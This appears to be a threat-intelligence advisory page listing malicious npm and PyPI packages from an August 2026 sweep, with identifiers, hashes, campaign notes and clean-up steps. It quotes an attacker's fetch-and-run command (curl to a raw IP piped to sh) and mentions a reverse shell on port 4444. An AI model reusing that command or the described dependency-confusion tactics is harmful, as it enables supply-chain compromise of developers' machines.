DependencyWatch.io
Talk to PrecursorScan a lockfile

GitHub Advisory malware sweep, 31 August 2026

HighAdvisory sweepnpmPyPI

Wave 3 of the grafeno-* Brazilian-fintech campaign lands as grafeno-actions@999.0.0 - a pure dependency-confusion pivot after Waves 1-2's pre-install payload. Alongside it: a Deutsche Bank Autobahn Electron dep-confusion probe (2 pkgs), a 6-pkg web3 typosquat cluster (fuels-* / verify-contract-* / generate-schema-*), a PyPI Tronix drain, and 12 late-arriving 2026-08-30 advisories.

Published 31 Aug 2026

Check your package-lock.jsonSource advisory
At a glancemulti-2026-08-31-ghsa-malware-sweep
26
Packages tracked26 malicious versions

Every version named by the advisory is in the scanner, so a lockfile check finds it directly.

Severity
High
Type
Advisory sweep
Published
31 Aug 2026
Ecosystems
npmPyPI
Detected by
GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector
Also known as
2026-08-31 GHSA sweep, 2026-08-grafeno wave 3, 2026-08-autobahn-db-electron dep-confusion

Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.

What happened

The full picture

The 24 hours ending 2026-08-31 published 14 new npm+PyPI malware advisories, plus 12 late-arriving advisories dated 2026-08-30 that surfaced after yesterday's sweep closed. Headlines: a third wave of the grafeno-* Brazilian-fintech campaign that pivots from pre-install payload to pure dependency-confusion; a Deutsche Bank Autobahn Electron dep-confusion probe with reversed-DNS naming and inflated version numbers; and a 6-package web3-tooling typosquat cluster targeting Fuel Labs / ethers / viem / block-explorer verify tooling.

Cluster A - npm grafeno-* Wave 3 (dep-confusion pivot)

PackageVersionGHSASource hashMAL id
grafeno-actions999.0.0GHSA-rcj7-44gp-99833a52df88…058c2d7dMAL-2026-15596

Relationship to Waves 1-2: Wave 1 (2026-08-29) shipped 9 grafeno-* packages (grafeno-auth, grafeno-client, grafeno-utils, grafeno-config, grafeno-api, grafeno-core, grafeno-pix, grafeno-logger, grafeno-sdk) with curl 216.126.236.46/x.sh | sh + 30-minute crontab. Wave 2 (2026-08-30) shipped 3 grafeno-* packages (grafeno-webhook, grafeno-payments, grafeno-billing) that swapped to env-var scraping + 216.126.236.46:4444 interactive reverse bash shell. Wave 3 abandons pre-install payload entirely: the version-999.0.0 signature is a classic dependency-confusion probe designed to override any lower internal grafeno-actions version in a Brazilian fintech CI/CD pipeline. The -actions suffix suggests a targeted internal GitHub Actions workflow. This is a deliberate operator pivot - three tactically distinct waves in 72 hours, all against the same brand.

Cluster B - Deutsche Bank Autobahn Electron dep-confusion

PackageVersionGHSASource hashMAL id
autobahn-electron-probe99.99.1GHSA-8jx3-79xq-v4q4d3c07ff6…97e44fc7MAL-2026-15589
com.db.autobahn.notification-center-electron88.88.2GHSA-q6wc-5f8x-wwwjfe0ae07b…38873807MAL-2026-15590

Attribution signals: (1) inflated version numbers 99.99.1 and 88.88.2 are the textbook dependency-confusion mechanic - guarantee that any internal resolver checking public+private routes will pick the public malicious one; (2) the com.db. reversed-DNS prefix mirrors Deutsche Bank Java-style internal package naming; (3) Autobahn is DB's corporate-and-investment-banking portal (autobahn.db.com) and DB ships an Electron-based Autobahn desktop client. Both packages call out to a domain and execute commands per OpenSSF Package Analysis (payload not further disclosed at time of publication). Any DB developer or contractor should audit .npmrc scope routing; any DB-adjacent build box that resolved either name should be treated as having exfiltrated secrets available in its process environment.

Cluster C - web3-tooling typosquat cluster (6 packages)

PackageVersionGHSASource hashMAL id
fuels-core1.0.0GHSA-w76m-93w4-w9vjd21bb4c8…cdb0ee93MAL-2026-15592
fuels-typegen1.0.0GHSA-4f4x-3qvc-wffhd3a77505…d5343eeMAL-2026-15593
verify-contract-ethers1.0.0GHSA-7cgh-hfp8-2h8vdd92ae4a…0417532MAL-2026-15598
verify-contract-viem1.0.0GHSA-wgc5-g8h3-3grx3996f3da…fe826d66MAL-2026-15599
generate-schema-ethers1.0.0GHSA-f45j-cpvf-37vh1b03df58…b9d9f3cfMAL-2026-15594
generate-schema-viem1.0.0GHSA-rrqc-jj9x-2m466300576c…3c7dad78MAL-2026-15595

Targets: the paired -ethers / -viem suffix is the give-away - the operator is going after Web3 developers who default to either of the two dominant Ethereum client libraries. fuels-core / fuels-typegen typosquat the legitimate scoped Fuel Labs packages @fuel-ts/core and @fuel-ts/typegen. verify-contract-* mirrors block-explorer contract-verification tooling (@nomicfoundation/hardhat-verify, foundry-rs). generate-schema-* mirrors ABI-to-schema codegen tooling. All six flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint - a shared publisher fingerprint suggests one operator, one push.

Cluster D - OOB probes (2 packages)

PackageVersionGHSAMAL id
npx-oob-package1.0.2GHSA-2gqg-4mch-fmq5MAL-2026-15597
cre-setup1.0.0GHSA-85ff-72jm-25qfMAL-2026-15591

npx-oob-package is a canonical bug-bounty out-of-band probe (name explicitly encodes oob). cre-setup unclear but shares the domain-callback + command-execution fingerprint. Treat both as compromise until pentest attribution proven.

Cluster E - CWE-506 boilerplate takedowns (2 packages)

PackageAffected versionsGHSA
redis-cookie-serverall versions (>= 0)GHSA-jgx3-v64x-v2w5
eslint-prettier-jsall versions (>= 0)GHSA-fp43-fcrg-6w93

Both published pure CWE-506 boilerplate advisories with no per-package IOCs. Name-shape suggests typosquats of the connect-redis / redis-connect session-store family and the eslint-config-prettier / eslint-plugin-prettier namespace, respectively.

Cluster F - PyPI Tronix crypto-wallet-drain

PackageVersionGHSASource hashCampaign
tronlinker0.0.1GHSA-55gr-cx76-2q6q18f3b8d2…5dfaee2025-04-tronix

Continues the year-plus-old 2025-04-tronix PyPI campaign - 100+ typosquats of the legitimate trongrid Python SDK exfiltrating Tron / TRX private keys, using cloned-README decoy tactics.

Late-arriving 2026-08-30 advisories (12 packages)

These advisories were dated 2026-08-30 but surfaced after yesterday's 2026-08-30 sweep closed. Folded in here rather than back-editing yesterday's record to keep today's PR diff clean.

Cluster G - *-codex typosquat cluster (4 packages, npm)

PackageGHSA
h2-codexGHSA-8h78-gfj3-qrp2
h3-codexGHSA-w6m7-6jhr-mfjc
brat-codexGHSA-63wg-22hx-h5q4
h3clientGHSA-89vf-5xgx-fhq7

All all-versions CWE-506 boilerplate. The h2- / h3- prefix mirrors Cloudflare's HTTP framework h3; the -codex suffix piggybacks OpenAI's Codex CLI naming space.

Cluster H - *fcrxz twin-typo cluster (2 packages, npm)

PackageGHSA
cloudfcrxzGHSA-p375-pmrj-262v
cloufcrxzGHSA-gxpc-36pf-vcrw

Two variants (with and without the d) of the same base name - throwaway-account twin-typo pattern.

Cluster I - other late 2026-08-30 npm CWE-506 takedowns (4 packages)

PackageGHSANote
@lucideproxy/svgGHSA-6j97-93gg-j7r8typosquats Lucide icon library scope
@fidzzhost/baileysGHSA-vc2v-c8j2-qxg9typosquats @whiskeysockets/baileys (WhatsApp-Web-API)
real-browser-plusGHSA-ffvr-gx62-j45mtyposquats real-browser puppeteer-stealth
originaldevelopmentstelemetryGHSA-m8hq-jrvf-g8xmreads as internal telemetry dep-confusion probe

Cluster J - late 2026-08-30 PyPI (2 packages)

PackageVersionGHSASource hashCampaign
trongridor0.0.1GHSA-vg2j-fq8r-2c4846fcd4ed…593413412025-04-tronix
auth-app-streamlit<= 2.1.1GHSA-ff3f-7fvh-5cpv9662b50e…e9e8a199GENERIC-standard-pypi-install-pentest

trongridor is a companion to today's tronlinker in the ongoing Tronix campaign. auth-app-streamlit is classified PROBABLY_PENTEST - setup.py install-command override that exfils host IP + username to a callback URL.

Registry state

All listed packages were flagged as malware on npm / PyPI on 2026-08-30 or 2026-08-31. Multiple have been yanked and replaced with holding packages by the registry security teams. Internal mirrors routinely keep serving yanked tarballs; re-sync every mirror.

Related tracked activity

dependency-confusiontyposquatcredential-theftcrypto-wallet-drainci-cd-compromise
Affected packages

26 packages 26 versions

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once. It runs in your browser and nothing is uploaded.

Check package-lock.json →Check requirements.txt →
Impact

What it does if you installed it

  • *Cluster A - npm `grafeno- Wave 3 dep-confusion pivot (2026-08-31, 1 package)**: grafeno-actions@999.0.0 (GHSA-rcj7-44gp-9983, MAL-2026-15596, hash 3a52df88a9094028961676cb72f9e43f88fcef959cc4e1db63687785058c2d7d). Same operator as [Wave 1 (2026-08-29, 9 packages, curl 216.126.236.46/x.sh | sh + 30-minute crontab)](/incident/multi-2026-08-29-ghsa-malware-sweep) and [Wave 2 (2026-08-30, 3 packages, env-var stealer + 216.126.236.46:4444 reverse shell)](/incident/multi-2026-08-30-ghsa-malware-sweep), but this wave abandons pre-install payload delivery entirely and pivots to pure dependency-confusion. The 999.0.0 version number is the classic dep-confusion signature - it beats any lower internal grafeno-actions@x.y.z version a Brazilian fintech CI/CD workflow might resolve if .npmrc scope routing is misconfigured. The -actions suffix suggests a targeted GitHub Actions workflow name - any team that runs npm install grafeno-actions` from an unpinned CI step could pull this. OpenSSF Package Analysis flagged the CWE-506 behaviour; hash confirms this is not a benign re-publish
  • Cluster B - Deutsche Bank Autobahn Electron dep-confusion (2026-08-31, 2 packages): autobahn-electron-probe@99.99.1 (GHSA-8jx3-79xq-v4q4, MAL-2026-15589, hash d3c07ff64c9729469df8453fb5fd6fa15e1099e81916496d741fe10297e44fc7) and com.db.autobahn.notification-center-electron@88.88.2 (GHSA-q6wc-5f8x-wwwj, MAL-2026-15590, hash fe0ae07b99c275a092bcb2e4836aeb711a02f98def45f54f91bcf5ba38873807). Two signals make this a targeted dep-confusion probe of Deutsche Bank's internal Autobahn Electron desktop apps (Autobahn is DB's corporate & investment banking trading portal at autobahn.db.com): (1) inflated version numbers (99.99.1 / 88.88.2) - the classic dep-confusion mechanic to guarantee an internal version resolver picks the public malicious one; (2) reversed-DNS naming com.db.autobahn.* mirroring Java-style internal package names that a Deutsche Bank build pipeline might resolve. Both call out to a domain and execute commands per OpenSSF Package Analysis. Any DB developer, or any org that mirrors DB's internal Node monorepo layouts, should audit .npmrc scope-registry routing
  • Cluster C - web3-tooling typosquat cluster (2026-08-31, 6 packages): fuels-core@1.0.0 (GHSA-w76m-93w4-w9vj, MAL-2026-15592, hash d21bb4c8fac5120e8d1c6227bd7248f35ddb633bcb3c7ca08427b964cdb0ee93) and fuels-typegen@1.0.0 (GHSA-4f4x-3qvc-wffh, MAL-2026-15593, hash d3a77505eb8f38e58c0a2b2a3b9ab7a0c4976077df0cef66e39b146eed5343ee) - typosquats of the legitimate Fuel Labs @fuel-ts/* scoped packages. verify-contract-ethers@1.0.0 (GHSA-7cgh-hfp8-2h8v, MAL-2026-15598, hash dd92ae4a5555d9abe274ad50e627402e6fcba1b9486f0f565dd2a11920417532), verify-contract-viem@1.0.0 (GHSA-wgc5-g8h3-3grx, MAL-2026-15599, hash 3996f3daf2ae95942dab5a1961f8e5c1c267aa093c073002b5771860fe826d66), generate-schema-ethers@1.0.0 (GHSA-f45j-cpvf-37vh, MAL-2026-15594, hash 1b03df588fe1ae0b803b15d5b2b66efc516887314c772e3190af2916b9d9f3cf), and generate-schema-viem@1.0.0 (GHSA-rrqc-jj9x-2m46, MAL-2026-15595, hash 6300576c16b112520e6a4cde256e38ce14736ec575b8c94e58a0a9163c7dad78) - six packages published on the same day, all v1.0.0, all flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint. The paired -ethers / -viem naming targets developers reaching for either of the two dominant Ethereum client libraries. verify-contract-* mirrors block-explorer verification tooling (e.g. hardhat-verify, foundry-rs verify-contract); generate-schema-* mirrors ABI-to-schema codegen tooling. Any Web3 developer, DAO, or smart-contract shop that resolved these by autocomplete typo could have opened a shell
  • Cluster D - OOB probes (2026-08-31, 2 packages): npx-oob-package@1.0.2 (GHSA-2gqg-4mch-fmq5, MAL-2026-15597, hash 97f657a8f0fdcb9bebaa6ad7caf2775f059ee15fd9e721d1ca66e5bd239ba42c) and cre-setup@1.0.0 (GHSA-85ff-72jm-25qf, MAL-2026-15591, hash 7a338301f299dfbe6fb5f4a0e2f0ca15e3a26765b411205b9cc9a74178660283). Both flagged for domain-callback + command execution. npx-oob-package is a canonical bug-bounty out-of-band probe (oob = out-of-band), reasonable to treat as pentest recon. cre-setup unclear but same probe fingerprint. Lockfile hits should still be treated as compromise until proven otherwise
  • Cluster E - CWE-506 boilerplate takedowns (2026-08-31, 2 packages): redis-cookie-server (GHSA-jgx3-v64x-v2w5, all versions) and eslint-prettier-js (GHSA-fp43-fcrg-6w93, all versions). Pure CWE-506 boilerplate advisories with no per-package IOCs. Both look like typosquat plays - redis-cookie-server piggybacks the connect-redis / redis-connect session-store family; eslint-prettier-js piggybacks the eslint-config-prettier / eslint-plugin-prettier naming space. Defensive value is name-level: any lockfile hit means uninstall
  • Cluster F - PyPI Tronix crypto-wallet-drain (2026-08-31, 1 package): tronlinker@0.0.1 (GHSA-55gr-cx76-2q6q, MAL-2026-15588, hash 18f3b8d2924d38ddd8e852a2ca3311ccb85a82a4a6eedc836c4b8086465dfaee, campaign identifier 2025-04-tronix). Yet another entry in the year-plus-old low-volume 2025-04-tronix PyPI campaign that has produced 100+ typosquats of the legitimate trongrid Python SDK - this one drops the -grid suffix in favour of -linker. Same category as previous entries tracked in multi-2026-08-27-ghsa-malware-sweep and pypi-2026-07-18-ghsa-malware-sweep: exfiltrates Tron / TRX private keys, clones legitimate trongrid README as decoy. Impact: any Tron wallet running on a host where this was pip installed should be considered drained
  • *Cluster G - late-arriving 2026-08-30 `-codex cluster (4 packages, npm)**: h2-codex (GHSA-8h78-gfj3-qrp2), h3-codex (GHSA-w6m7-6jhr-mfjc), brat-codex (GHSA-63wg-22hx-h5q4), h3client (GHSA-89vf-5xgx-fhq7). All published 2026-08-30 but surfaced after yesterday's [2026-08-30 sweep](/incident/multi-2026-08-30-ghsa-malware-sweep) closed - folded in here rather than back-editing yesterday's record. The h2-codex / h3-codex / h3client triple typosquats the h2 / h3 (Cloudflare's HTTP framework) + OpenAI codex-cli naming spaces; brat-codex` piggybacks the same "codex" branding. All shipped pure CWE-506 embedded-malicious-code boilerplate advisories - no per-package IOCs disclosed. Defensive value is name-level
  • *Cluster H - late-arriving 2026-08-30 `fcrxz typo cluster (2 packages, npm)**: cloudfcrxz (GHSA-p375-pmrj-262v) and cloufcrxz (GHSA-gxpc-36pf-vcrw) - two variants (one with -d-, one with a dropped d) of the same cloudfcrxz` base name. Both CWE-506 all-versions takedowns published the same day. Twin-typo publication is a known throwaway-account pattern - both names get squatted to catch either typo. Name-level defensive signal
  • Cluster I - other late-arriving 2026-08-30 npm CWE-506 takedowns (4 packages): @lucideproxy/svg (GHSA-6j97-93gg-j7r8) - piggybacks the legitimate Lucide icon library scope; @fidzzhost/baileys (GHSA-vc2v-c8j2-qxg9) - piggybacks the popular @whiskeysockets/baileys WhatsApp-Web-API library under a look-alike scope; real-browser-plus (GHSA-ffvr-gx62-j45m) - piggybacks the real-browser puppeteer-stealth namespace; originaldevelopmentstelemetry (GHSA-m8hq-jrvf-g8xm) - reads as a probe of an internal "OriginalDevelopments" telemetry package (dep-confusion candidate). All shipped pure CWE-506 boilerplate. Name-level defensive signal
  • Cluster J - late-arriving 2026-08-30 PyPI (2 packages): trongridor@0.0.1 (GHSA-vg2j-fq8r-2c48, MAL-2026-15578, hash 46fcd4ed6da56295fe0a0b4a25cbaf848f10874c6905723472a57e7f59341341, campaign 2025-04-tronix) - companion to today's tronlinker, same Tron private-key exfil / README-clone pattern; and auth-app-streamlit@<=2.1.1 (GHSA-ff3f-7fvh-5cpv, MAL-2026-15577, hash 9662b50ee4db956c8a7ec0bd4e1c9842f709ab2d5d181c325702c727e9e8a199, campaign GENERIC-standard-pypi-install-pentest, classified PROBABLY_PENTEST) - a setup.py install-command override that exfiltrates host IP + username to a callback URL. auth-app-streamlit is a pentest / low-harm probe but hits are still worth investigating - the "streamlit" branding suggests it was crafted to lure Streamlit-app developers
What to do

Clean-up steps

  1. Grep every lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml, requirements.txt, Pipfile.lock, poetry.lock) for: grafeno-actions, autobahn-electron-probe, com.db.autobahn.notification-center-electron, fuels-core, fuels-typegen, verify-contract-ethers, verify-contract-viem, generate-schema-ethers, generate-schema-viem, npx-oob-package, cre-setup, redis-cookie-server, eslint-prettier-js, tronlinker, h2-codex, h3-codex, brat-codex, h3client, cloudfcrxz, cloufcrxz, @lucideproxy/svg, @fidzzhost/baileys, real-browser-plus, originaldevelopmentstelemetry, trongridor, auth-app-streamlit. Uninstall on any hit and rebuild the lockfile against a clean cache
  2. For Cluster A (grafeno-actions Wave 3): any Brazilian fintech, or any team using the legitimate Grafeno BaaS, should audit .npmrc and package.json for any workflow that resolves grafeno-actions (or any unscoped grafeno-*) from the public npm registry rather than an internal scope. Version-pin every internal grafeno-* dependency and enable --strict-peer-deps / lockfile-verify in CI. Continue to block 216.126.236.46 at egress across dev/CI/build - Waves 1 and 2 still hit that IP, and Wave 3 may pivot back to it. Expect a Wave 4 in the same 24-72h window
  3. For Cluster B (Deutsche Bank Autobahn dep-confusion): any DB engineer, or any org with an @autobahn/* or com.db.autobahn.* internal package namespace, must confirm scope-registry mappings in .npmrc route those names to the internal registry - never fall through to public npm. Set a scoped internal registry always-auth = true. Version-pin every internal Autobahn- dependency; a 99.99.1 public version will beat any realistic internal semver. Review ~/.npm/_logs on developer workstations for any install autobahn-electron-probe or `install com.db.autobahn.` line. Rotate any GitHub PAT / npm token that touched an affected workstation
  4. *For Cluster C (`fuels- / verify-contract- / generate-schema- web3 typosquats)**: any Web3 / DeFi / smart-contract shop should confirm that fuels-core and fuels-typegen in a lockfile actually resolves to @fuel-ts/core and @fuel-ts/typegen (the legitimate scoped Fuel Labs packages), and that any verify-contract- or generate-schema- dependency is the legitimate one (@nomicfoundation/hardhat-verify or foundry-rs`-style tooling), not the malicious 1.0.0 unscoped variant. On confirmed hits, rotate every wallet mnemonic / private key that was accessible on the affected machine - this cluster is web3-targeted and wallet exfil is the most likely payload class
  5. For Cluster F + J (tronlinker, trongridor): rotate every Tron / TRX wallet mnemonic / private key that ever lived on a host where these were pip installed. Move remaining balances off any potentially-affected wallet. Do NOT trust dry-run install output - the malicious install command runs before pip reports success
  6. For Cluster J (auth-app-streamlit): if this ever shipped to a Streamlit-app deploy, treat host IP + username as exfiltrated. The campaign tag PROBABLY_PENTEST suggests low-harm, but any pentest probe on production infrastructure is worth an audit and IP allowlist review
  7. For all npm install runs in CI, prefer --ignore-scripts - dep-confusion pkgs still typically ship post/preinstall hooks
  8. For all pip install runs in CI, prefer --no-build-isolation + explicit --only-binary where possible - the auth-app-streamlit mechanism (setup.py install-command override) executes on any source install
  9. Verify none of the enumerated packages still resolves via your private mirror - internal caches (Nexus / Artifactory / Verdaccio / Sonatype / devpi) routinely keep serving yanked tarballs after the public takedown
References

Sources

multi-2026-08-31-ghsa-malware-sweepBack to incidentsSubmit a correction
Am I affected?

Check your lockfile against this and every other incident.

Paste a lockfile and it is matched on your own device against every compromised version we track. Nothing is uploaded and there is no account.

Check your package-lock.jsonAll incidents